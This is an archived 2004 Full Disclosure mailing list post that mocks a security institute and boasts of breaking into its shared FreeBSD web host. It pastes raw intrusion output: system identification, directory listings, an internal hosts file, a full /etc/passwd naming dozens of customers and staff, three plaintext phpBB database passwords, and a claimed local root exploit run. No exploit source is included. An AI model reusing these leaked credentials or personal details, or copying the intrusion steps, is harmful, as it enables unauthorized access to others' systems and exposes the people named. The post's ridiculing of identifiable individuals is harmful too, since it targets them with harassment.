Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Isecom.org ideahamster.org and the hackerhighschool.org
From: "Hans Ulrich Niedermann" <hun () hushmail com>
Date: Tue, 30 Nov 2004 06:45:16 -0800

After my image as whitehat was damaged acting like a riper...

I decided to turn myself blackhat, couse i feel more kool, leet and
smart.

I will start certifying myself as recogniced hacker... How?

Hacking the main whitehat website (h0h0h0 ph333r m333) <- and
starting to speak l337

- ------------------------------------------------------------------
--


Our senior attack and penetration team, want to obtain OSSTMM
certificate and HACKER HIGH SCHOOL license. Couse we are blackhats
we have no money to pay this certs. (no one of us work in the sec
industry, so no money). We will obtain it by ourselves:


NOTE: All teqneeqz in this hack are open source security testing
metodology manual (OSSTMM) compliant... of course.


Pen-tester like hacking:

1) read bugtraq.
2) get the las published exploit.
3) do some changes (1 or 2 lines ... or change credits of the xpl
is enough).
4) ./exploit host


* pen-tester: hacker who uses canvas, core-impact, metasploit or
retina/nessus to hack.

P.S: sonnee cheers raul


uid=65534(nobody) gid=998(www) groups=998(www)
FreeBSD kunatri.pair.com 4.8-STABLE FreeBSD 4.8-STABLE #0: Thu Jul
1 11:16:09 EDT 2004
sigma () koloda pair com:/usr/src/sys/compile/PAIRqq  i386


drwxr-xr-x  12 idea  users   1024 Aug 30 18:22 .
drwxr-xr-x  49 idea  users   4096 Nov 22 05:27 ..
drwxr-xr-x   2 idea  users   1024 Jul 17 11:58 admin
drwxr-xr-x   2 idea  users    512 Jul 10 14:16 cache
- -rw-r--r--   1 idea  users   5796 Jul 17 11:58 common.php
- -rwx---rwx   1 idea  users    268 Aug 25 05:34 config.php
drwxr-xr-x   2 idea  users    512 Jul 17 11:58 contrib.pete.bak
drwxr-xr-x   2 idea  users    512 Jul 17 11:58 db
drwxr-xr-x   2 idea  users    512 Jul 17 11:58 docs
- -rw-r--r--   1 idea  users    810 Jul 17 11:58 extension.inc
- -rw-r--r--   1 idea  users   3643 Jul 17 11:58 faq.php
- -rw-r--r--   1 idea  users  45641 Jul 17 11:58 groupcp.php
drwxr-xr-x   4 idea  users    512 Jul 17 11:58 images
drwxr-xr-x   2 idea  users   1024 Jul 17 11:58 includes
- -rw-r--r--   1 idea  users  14515 Jul 17 11:58 index.php
drwxr-xr-x   3 idea  users    512 Jul 17 11:58 install.pete.bak
drwxr-xr-x   3 idea  users    512 Jul 17 11:58 language
- -rw-r--r--   1 idea  users   7479 Jul 17 11:58 login.php
- -rw-r--r--   1 idea  users  12150 Jul 17 11:58 memberlist.php
- -rw-r--r--   1 idea  users  37639 Jul 17 11:58 modcp.php
- -rw-r--r--   1 idea  users  34446 Jul 17 11:58 posting.php
- -rw-r--r--   1 idea  users  72578 Jul 17 11:58 privmsg.php
- -rw-r--r--   1 idea  users   3753 Jul 17 11:58 profile.php
- -rw-r--r--   1 idea  users  42692 Jul 17 11:58 search.php
drwxr-xr-x   3 idea  users    512 Jul 17 11:58 templates
- -rw-r--r--   1 idea  users  23154 Jul 17 11:58 viewforum.php
- -rw-r--r--   1 idea  users   7234 Jul 17 11:58 viewonline.php
- -rw-r--r--   1 idea  users  45150 Jul 17 11:58 viewtopic.php


# $FreeBSD: src/etc/hosts,v 1.11.2.1 2000/08/18 18:29:19 ume Exp $
#
# Host Database
# This file should contain the addresses and aliases
# for local hosts that share this file.
# In the presence of the domain name service or NIS, this file may
# not be consulted at all; see /etc/host.conf for the resolution
order.
#
#
::1                     localhost localhost.my.domain
myname.my.domain
127.0.0.1               localhost localhost.my.domain
myname.my.domain

192.168.1.1             beast.pair.net beast
192.168.1.2             beauty.pair.net beauty
192.168.1.4             chromium.pair.net chromium
192.168.1.5             carbon.pair.net carbon
192.168.1.6             copper.pair.net copper
192.168.1.7             cadmium.pair.net cadmium
192.168.1.8             baal.pair.net baal
192.168.1.9             bodhi.pair.net bodhi
192.168.1.10            butyl.pair.net butyl
192.168.1.11            biabo.pair.net biabo


heelwing         ttyp0    Nov 18 14:27 (24.8.200.204)
heelwing         ttyp4    Nov 22 14:00 (24.8.200.204)


root:*:0:0:Super User:/root:/bin/csh
daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin
operator:*:2:5:Operator:/nonexistent:/sbin/nologin
bin:*:3:7:Binaries:/nonexistent:/sbin/nologin
tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin
kmem:*:5:65533:kmem Sandbox:/nonexistent:/sbin/nologin
games:*:7:13:Games:/nonexistent:/sbin/nologin
news:*:8:8:News Subsystem:/nonexistent:/sbin/nologin
man:*:9:9:Man Pages:/nonexistent:/sbin/nologin
ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent
bind:*:53:53:BIND Sandbox:/nonexistent:/sbin/nologin
uucp:*:66:66:UUCP:/nonexistent:/sbin/nologin
xten:*:67:67:X-10:/nonexistent:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
sshd:*:180:180:sshd:/var/empty:/nonexistent
popa3d:*:799:799:POP3 Daemon:/nonexistent:/sbin/nologin
slist:*:800:800:SmartList Manager:/usr/home/slist:/bin/csh
msql:*:860:860:mSQL Administrator:/nonexistent:/bin/csh
mysql:*:861:861:MySQL Admin:/nonexistent:/bin/csh
logs:*:950:20:logs:/usr/home/staff/logs:/bin/csh
spamd:*:951:862:spamd:/var/sa:/bin/csh
alias:*:7790:2108:qmail Alias:/var/qmail/alias:/nonexistent
qmaild:*:7791:2108:qmailD:/var/qmail:/nonexistent
qmaill:*:7792:2108:qmailL:/var/qmail:/nonexistent
qmailp:*:7793:2108:qmailP:/var/qmail:/nonexistent
qmailq:*:7794:2107:qmailQ:/var/qmail:/nonexistent
qmailr:*:7795:2107:qmailR:/var/qmail:/nonexistent
qmails:*:7796:2107:qmailS:/var/qmail:/nonexistent
info:*:900:20:Information Role
Account:/usr/home/staff/info:/bin/csh
support:*:901:20:Support Role
Account:/usr/home/staff/support:/bin/csh
pair:*:902:20:pair Networks:/usr/home/staff/pair:/bin/csh
www:*:903:20:Webmaster Role Account:/usr/home/staff/www:/bin/csh
sales:*:906:20:Sales Role Account:/usr/home/staff/sales:/bin/csh
domain:*:907:20:Domain Registration Role
Account:/usr/home/staff/domain:/bin/csh
urgent:*:908:20:Urgent Contact - Emergencies
Only:/usr/home/staff/urgent:/bin/csh
billing:*:909:20:Billing Role
Account:/usr/home/staff/billing:/bin/csh
upgrade:*:910:20:Upgrade Role
Account:/usr/home/staff/upgrade:/bin/csh
security:*:914:20:Security Role
Account:/usr/home/staff/security:/bin/csh
abuse:*:915:20:Abuse Role Account:/usr/home/staff/abuse:/bin/csh
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
sigma:*:1000:20:Kevin Martin:/usr/home/staff/sigma:/bin/csh
pupdog:*:1002:20:pupdog:/usr/home/staff/pupdog:/bin/csh
matt:*:1006:20:Matt Riffle:/usr/home/staff/matt:/usr/local/bin/tcsh
gk:*:1007:20:Gus Kumpfmiller:/usr/home/staff/gk:/bin/csh
cap:*:1012:20:cap:/usr/home/staff/cap:/usr/local/bin/tcsh
timg:*:1017:20:Tim:/usr/home/staff/timg:/usr/local/bin/zsh
rjenison:*:1018:20:Bob:/usr/home/staff/rjenison:/usr/local/bin/tcsh
elizabet:*:1024:20:elizabet:/usr/home/staff/elizabet:/bin/csh
melea:*:1029:20:melea:/usr/home/staff/melea:/usr/local/bin/zsh
jbeck:*:1030:20:jbeck:/usr/home/staff/jbeck:/usr/local/bin/tcsh
pjmclaug:*:1032:20:pjmclaug:/usr/home/staff/pjmclaug:/bin/csh
wright:*:1033:20:wright:/usr/home/staff/wright:/bin/csh
alan:*:1037:20:alan:/usr/home/staff/alan:/usr/local/bin/zsh
erik5:*:1038:20:erik5:/usr/home/staff/erik5:/bin/sh
mlehner:*:1039:20:mlehner:/usr/home/staff/mlehner:/bin/csh
dianeh:*:1043:20:dianeh:/usr/home/staff/dianeh:/usr/local/bin/tcsh
marciew:*:1044:20:angelas:/usr/home/staff/marciew:/usr/local/bin/tcs

h
sxpst1:*:1045:20:sxpst1:/usr/home/staff/sxpst1:/usr/local/bin/tcsh
aharrod:*:1050:20:aharrod:/usr/home/staff/aharrod:/usr/local/bin/tcs

h
bbroome:*:1051:20:bbroome:/usr/home/staff/bbroome:/usr/local/bin/tcs

h
terram:*:1054:20:terram:/usr/home/staff/terram:/usr/local/bin/tcsh
cwest:*:1055:20:cwest:/usr/home/staff/cwest:/usr/local/bin/tcsh
pfawcett:*:1057:20:pfawcett:/usr/home/staff/pfawcett:/usr/local/bin/

tcsh
cmemmolo:*:1059:20:cmemmolo:/usr/home/staff/cmemmolo:/usr/local/bin/

tcsh
cyn17:*:1060:20:cyn17:/usr/home/staff/cyn17:/usr/local/bin/tcsh
blich:*:1061:20:blich:/usr/home/staff/blich:/usr/local/bin/tcsh
davae:*:1062:20:davae:/usr/home/davae:/usr/local/bin/tcsh
debv:*:1063:20:debv:/usr/home/staff/debv:/usr/local/bin/tcsh
postgres:*:862:862:Postgres Admin:/usr/local/pgsql:/bin/sh
megana:*:1067:20:megana:/usr/home/staff/megana:/usr/local/bin/tcsh
garyh:*:1068:20:garyh:/usr/home/staff/garyh:/usr/local/bin/tcsh
casey:*:1069:20:Casey
West:/usr/home/staff/casey:/usr/local/bin/bash
kevino:*:1070:20:Kevin O'Connor:/usr/home/staff/kevino:/bin/csh
mddst34:*:1072:20:Matthew
Dalessandro:/usr/home/staff/mddst34:/bin/csh
danw:*:1073:20:Dan Wyrostek:/usr/home/staff/danw:/usr/local/bin/zsh
erich:*:1074:20:Eric Howard:/usr/home/staff/erich:/bin/csh
amy:*:1076:20:Amy Lerner:/usr/home/staff/amy:/bin/csh
psenevir:*:1078:20:Prashad
Seneviratne:/usr/home/staff/psenevir:/usr/local/bin/bash
waynel:*:1079:20:Wayne Lucas:/usr/home/staff/waynel:/bin/csh
jpooley:*:1080:20:Jaime Pooley:/usr/home/staff/jpooley:/bin/csh
kettell:*:1081:20:Brian Kettell:/usr/home/staff/kettell:/bin/csh
sona:*:1082:20:Unnamalai Narayanan:/usr/home/staff/sona:/bin/csh
astark:*:3002:1000:Allan Stark:/usr/home/astark:/bin/csh
kinoeye:*:3003:1000:David Tames:/usr/home/kinoeye:/bin/csh
play:*:3004:1000:Michael Kyrioglou:/usr/home/play:/bin/csh
thekente:*:3006:1000:Robert Kyerematen:/usr/home/thekente:/bin/csh
heelwing:*:3007:1000:Will Ronco:/usr/home/heelwing:/bin/csh
smelikai:*:3008:1000:Keelin Chan:/usr/home/smelikai:/bin/csh
butler:*:3009:1000:Nick Frost:/usr/home/butler:/bin/csh
mystiqal:*:3011:1000:Nardia Drayton:/usr/home/mystiqal:/bin/csh
fennel:*:3012:1000:Nate Borofsky:/usr/home/fennel:/bin/csh
unionist:*:3013:1000:David Prosten:/usr/home/unionist:/bin/csh
bizgate:*:3014:1000:Randy Brooks:/usr/home/bizgate:/bin/csh
guidomic:*:3015:1000:Michele Guidoni:/usr/home/guidomic:/bin/tcsh
master:*:3016:1000:James Lancelot:/usr/home/master:/bin/csh
mokolabs:*:3017:1000:Patrick Crowley:/usr/home/mokolabs:/bin/csh
iwatchgr:*:3018:1000:Juliana Shearer:/usr/home/iwatchgr:/bin/csh
photocrk:*:3019:1000:Michael Knowles:/usr/home/photocrk:/bin/csh
jobgenie:*:3020:1000:YURI KOZLOV:/usr/home/jobgenie:/bin/csh
louiedee:*:3021:1000:Mark Ingles:/usr/home/louiedee:/bin/csh
outdoor3:*:3026:1000:Barry Kiesler:/usr/home/outdoor3:/bin/csh
cbartow:*:3025:1000:Christopher
Bartow,NJ:/usr/home/cbartow:/etc/somkix
capslock:*:3023:1000:Allen Crider:/usr/home/capslock:/etc/usagi
pcmesh:*:3010:1000:Abraham
Ghandforoush:/usr/home/pcmesh:/etc/itonami
touch:*:3028:1000:Jim Gale:/usr/home/touch:/bin/csh
enet2:*:3029:1000:Charles and Roxanne
Heller:/usr/home/enet2:/bin/csh
hoghead:*:3030:1000:D.A. Hammond:/usr/home/hoghead:/bin/csh
mooseand:*:3032:1000:John Bloor:/usr/home/mooseand:/bin/csh
nsane:*:3033:1000:3000K Inc.:/usr/home/nsane:/bin/csh
models:*:3034:1000:Clement J. Naples:/usr/home/models:/bin/csh
teltex:*:3036:1000:Jeff Williamson:/usr/home/teltex:/bin/csh
recovery:*:3037:1000:Kenneth Roberts:/usr/home/recovery:/bin/csh
gwen98:*:3038:1000:Gwendolyn Galsworth:/usr/home/gwen98:/bin/csh
speakerb:*:3039:1000:Roy Rubin:/usr/home/speakerb:/bin/csh
salesu:*:3040:1000:Thomas Phillips:/usr/home/salesu:/bin/csh
effectiv:*:3041:1000:Michael Stearne:/usr/home/effectiv:/etc/vala
ams:*:3042:1000:CHARALABOS ARGIROPOULOS:/usr/home/ams:/bin/csh
maninstr:*:3043:1000:Fabio Giorgi:/usr/home/maninstr:/bin/csh
mambo2:*:3044:1000:Sonyo Sin:/usr/home/mambo2:/bin/csh
travish:*:3045:1000:Travis J. Hicks:/usr/home/travish:/bin/tcsh
cccisd:*:3046:1000:Chris Hehman:/usr/home/cccisd:/bin/csh
shaman73:*:3047:1000:Christopher
Hartnett:/usr/home/shaman73:/bin/csh
idea:*:3048:1000:Peter Herzog:/usr/home/idea:/bin/csh
pyro:*:3049:1000:Aaron Holmes:/usr/home/pyro:/bin/csh
7inch:*:3050:1000:Gary Bahen:/usr/home/7inch:/bin/csh
jburg:*:3051:1000::/usr/home/jburg:/bin/csh
krung:*:3052:1000:Paul R. Figura:/usr/home/krung:/bin/csh
kltoner:*:3054:1000:Christophoros
Kolokythas:/usr/home/kltoner:/bin/csh
jfedorko:*:3055:1000:Joel Fedorko:/usr/home/jfedorko:/bin/csh
nwsi:*:3056:1000:Mike:/usr/home/nwsi:/usr/local/bin/bash
minadfvr:*:3057:1000:Nanette Tolleson:/usr/home/minadfvr:/bin/csh
operativ:*:3058:1000:Adel Saad:/usr/home/operativ:/bin/csh
iaction:*:3060:1000:Steven Toepfer:/usr/home/iaction:/bin/csh
yupadoo:*:3061:1000:joseph p. brown jr:/usr/home/yupadoo:/bin/csh
catdweb:*:3062:1000:Everett Sturm:/usr/home/catdweb:/bin/csh
v55r8qff:*:3063:1000:Derek G Kaler:/usr/home/v55r8qff:/bin/csh
mycoss:*:3064:1000:Nick Dinatale:/usr/home/mycoss:/bin/csh
jcblb:*:3065:1000:Jim Bryant:/usr/home/jcblb:/bin/csh
ccn:*:3066:1000:Rosie Faya:/usr/home/ccn:/bin/csh
ces0160r:*:3067:1000:Charles W Roberts:/usr/home/ces0160r:/bin/csh
vlahos:*:3070:1000:John Vlahos:/usr/home/vlahos:/bin/csh
triplett:*:3071:1000:Bill Triplett:/usr/home/triplett:/bin/csh
croatia:*:3072:1000:Zvonko Petrovic:/usr/home/croatia:/bin/csh
nichiai:*:3073:1000:Declan Bourke:/usr/home/nichiai:/bin/csh
vclc:*:3074:1000:kfoglia:/usr/home/vclc:/bin/csh
cynelli:*:3076:1000:Sandra Papandrea:/usr/home/cynelli:/bin/csh
episcop:*:3077:1000:Robb Roaten:/usr/home/episcop:/bin/tcsh
jfgsj:*:3078:1000:Janet W. Berg:/usr/home/jfgsj:/bin/csh
hitwcad:*:3079:1000:Alicia Wettenstein:/usr/home/hitwcad:/bin/csh
spoint:*:3081:1000:Thomas
Lopatic:/usr/home/spoint:/usr/local/bin/tcsh
grayvet:*:3082:1000:Graham Hines:/usr/home/grayvet:/bin/csh
aaronl:*:3083:1000:Aaron C Lyon:/usr/home/aaronl:/bin/csh
jshanin:*:3084:1000:Jonathan Shanin:/usr/home/jshanin:/bin/csh
labwize:*:3085:1000::/usr/home/labwize:/bin/csh
marn:*:3086:1000:Marnie Whillock Becker:/usr/home/marn:/bin/csh
cqisllc:*:3087:1000:cqisllc:/usr/home/cqisllc:/bin/csh
goodinya:*:3088:1000:SAM VIRAG:/usr/home/goodinya:/bin/csh
fwdirect:*:3089:1000:Roy
Stocker:/usr/home/fwdirect:/usr/local/bin/tcsh
viscount:*:3090:1000:David McKenzie:/usr/home/viscount:/bin/csh
soneal:*:3091:1000:Shaun ONeal:/usr/home/soneal:/bin/csh
larchet:*:3092:1000::/usr/home/larchet:/bin/csh
discount:*:3094:1000:Brian Mogelefsky:/usr/home/discount:/bin/csh
njyoder:*:3095:1000:Nathan
Yoder:/usr/home/njyoder:/usr/local/bin/bash
seat:*:3096:1000:Jennifer Kelley Kelley
Container:/usr/home/seat:/bin/csh
mindloom:*:3097:1000:Jed Harris:/usr/home/mindloom:/bin/csh
dansonia:*:3098:1000:Daniel G Sommars:/usr/home/dansonia:/bin/csh
breynold:*:3099:1000:Brian Reynolds:/usr/home/breynold:/bin/csh
yourmone:*:3100:1000:LAKE RIVER  CANAL:/usr/home/yourmone:/bin/csh
majorlab:*:3101:1000:Brenda N Major:/usr/home/majorlab:/bin/csh
kbuck:*:3102:1000:Kenneth J Buckland:/usr/home/kbuck:/bin/csh
towerh2o:*:3103:1000:Stephen Sabolich:/usr/home/towerh2o:/bin/csh
nocouch:*:3104:1000:Kevin Spensley:/usr/home/nocouch:/bin/csh
orrt:*:3105:1000:Gloria Skurski :/usr/home/orrt:/bin/csh
stoneage:*:3106:1000:Douglas Kelly:/usr/home/stoneage:/bin/csh
dsisec:*:3107:1000:Michael C Stamps:/usr/home/dsisec:/bin/csh
evanevan:*:3108:1000:A R Blechner:/usr/home/evanevan:/bin/csh
jasper:*:3109:1000:Stephen D. Furbish:/usr/home/jasper:/bin/csh
rgensler:*:3053:1000:Matt Butler:/usr/home/rgensler:/etc/sama
rlpatton:*:3110:1000:Ronald L Patton:/usr/home/rlpatton:/bin/csh
forsterb:*:3093:1000:Evan Forster:/usr/home/forsterb:/etc/lliamna
quisci:*:3069:1000:Iain Trotter:/usr/home/quisci:/etc/lliamna
lab21:*:3005:1000:Nathaniel Benson:/usr/home/lab21:/bin/csh
onirix:*:3035:1000:Paul Rombough:/usr/home/onirix:/etc/shema
citibay:*:3024:1000:Marlon Famorca:/usr/home/citibay:/etc/izalc
webmil:*:3022:1000:Karen Patterson:/usr/home/webmil:/etc/djalbat
thomfam:*:3059:1000:Zach Thomas:/usr/home/thomfam:/etc/tyungwa
pes:*:3075:1000::/usr/home/pes:/etc/omega
helpself:*:3027:1000:Thayer White:/usr/home/helpself:/etc/sitkin
nmorgan:*:3031:1000:Nathan Morgan:/usr/home/nmorgan:/etc/kwarcu
laemmle:*:3080:1000:Steve Leventhal:/usr/home/laemmle:/etc/shema
nharbour:*:3068:1000:Eugene Ware:/usr/home/nharbour:/etc/yali

grep idea /etc/passwd
idea:*:3048:1000:Peter Herzog:/usr/home/idea:/bin/csh

Pete pete! HURRA! ... 0ops Herzog!


config.php:$dbpasswd = 'CnbVMgz2';
Binary file includes matches
profile.php:            include($phpbb_root_path .
'includes/usercp_sendpasswd.'.$phpEx);

/config.php:$dbpasswd = 'e4FzyXXC';
Binary file ../includes matches
Binary file ../isestorm matches
/profile.php:         include($phpbb_root_path .
'includes/usercp_sendpasswd.'.$phpEx);


/hhs_support/config.php:$dbpasswd = 'LJsaDFZT';
Binary file ../hhs_support/includes matches
/hhs_support/profile.php:             include($phpbb_root_path .
'includes/usercp_sendpasswd.'.$phpEx);



total 294
drwxr-xr-x    9 idea  users   1024 Nov  3 10:11 .
drwxr-xr-x  106 root  wheel   2048 Jul 28 22:18 ..
- -rw-r--r--    1 idea  users      0 Mar 15  2004 .addressbook
- -rw-------    1 idea  users   2285 Mar 15  2004 .addressbook.lu
- -rw-r--r--    1 idea  users    628 Mar  6  2001 .cshrc
drwx------    2 idea  users    512 Feb  8  2004 .gnupg
- -rw-------    1 idea  users   2596 Nov 20 07:10 .history
drwx------    2 idea  users    512 Nov  2 13:57 .imap
drwx------    2 idea  users    512 Aug 25 04:29 .links
- -rw-r--r--    1 idea  users    299 Mar  6  2001 .login
- -rw-r--r--    1 idea  users    160 Mar  6  2001 .login_conf
- -rw-------    1 idea  users    371 Mar  6  2001 .mail_aliases
- -rw-r--r--    1 idea  users    335 Jun 16 10:32 .mailrc
drwxr-xr-x    2 idea  users    512 Nov 17  2003 .ncftp
- -rw-------    1 idea  users     66 Nov 17  2003 .ncrecent
- -rw-r--r--    1 idea  users     11 May  4  2001 .pair
- -rw-------    1 idea  users  15018 Nov  3 10:11 .pine-debug1
- -rw-------    1 idea  users  12742 Oct 11 17:28 .pine-debug2
- -rw-------    1 idea  users  12235 Sep  9 13:15 .pine-debug3
- -rw-------    1 idea  users  12410 Sep  3 13:45 .pine-debug4
- -rw-------    1 idea  users  15804 Nov  3 10:08 .pinerc
- -rw-r--r--    1 idea  users    722 Mar  6  2001 .profile
- -rw-r--r--    1 idea  users    852 Mar  6  2001 .shrc
- -rw-------    1 idea  users      1 Nov  3 10:08 dead.letter
- -rw-r--r--    1 idea  users   2929 Jul 12 03:27 index.html
- -rw-r--r--    1 idea  users  14815 Jul 31 06:28 isecom.org.scan
drwx------    2 idea  users    512 Sep 15 03:15 log_config
- -rw-r--r--    1 idea  users     25 Mar 24  2004 logclean.sh
drwx------    2 idea  users    512 Nov  3 10:09 mail
- -rw-------    1 idea  users    534 Nov  3 10:11 mbox
lrwxrwxrwx    1 root  users     21 Dec 15  2003 public_ftp ->
/usr/public_ftp/idea/
lrwxrwxrwx    1 root  users     19 Dec 15  2003 public_html ->
/usr/www/users/idea
lrwxr-xr-x    1 root  users     20 Dec 15  2003 public_ssl ->
/usr/wwws/users/idea
- -rw-r--r--    1 idea  users  32768 Apr  9  2004 schedule.shtml
- -rw-r--r--    1 idea  users      0 Sep  9 14:04 tmp
drwxr-xr-x    2 idea  users   1024 Nov 23 00:31 www_logs

ls -la /usr/home/idea/public_html/hhs/
total 3426
drwxr-xr-x   2 idea  users     512 Aug 26 16:05 .
drwxr-xr-x  49 idea  users    4096 Nov 22 05:27 ..
- -rw-r--r--   1 idea  users     175 Aug 27 19:29 index.shtml
- -rw-r--r--   1 idea  users  817584 Sep  3  2003 lesson.pdf
- -rw-r--r--   1 idea  users  901665 Sep  3  2003 tema.pdf
- -rw-r--r--   1 idea  users    2866 Aug 26 15:04 ticker.htm


cat /usr/home/idea/public_html/.htaccess
# -FrontPage-

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

ErrorDocument 401 /401.html
ErrorDocument 403 /403.html
ErrorDocument 404 /404.html
ErrorDocument 500 /500.html

<Limit GET POST>
order deny,allow
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>

AuthName www.isecom.org
AuthUserFile
/home/virtual/site12/fst/var/www/html/_vti_pvt/service.pwd
AuthGroupFile
/home/virtual/site12/fst/var/www/html/_vti_pvt/service.grp

header append Identity: 'The Institute for Security and Open
Methodologies'
header append P3P: 'Not supported at this time'

'cat /home/virtual/site12/fst/var/www/html/_vti_pvt/service.pwd
nothing :-(


----------> END OF "PEN-TESTER LIKE" HACKING <-----------------

----------> Starting "#darknet like" hacking <----------------


/msg divineint> y0, do you have new stuff for fbsd?
divineint> sure freebsdlocal0day-donotdistributed-suppliedby-
divineint.tgz
/msg divineint> great i love you baby


tar xvzf freebsdlocal0day-donotdistributed-suppliedby-divineint.tgz
make freebsdlocal0day-donotdistributed-suppliedby-divineint
/freebsdlocal0day-donotdistributed-suppliedby-divineint

uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(operator), 20(staff), 31(guest)

great! I feeel hax tanananananna tan


Save a bug, save a life

PD: 
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.
I will never disclose a 0day again.




Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program: 
http://www.hushmail.com/about-affiliate?l=427

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
  • Isecom.org ideahamster.org and the hackerhighschool.org Hans Ulrich Niedermann (Nov 30)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault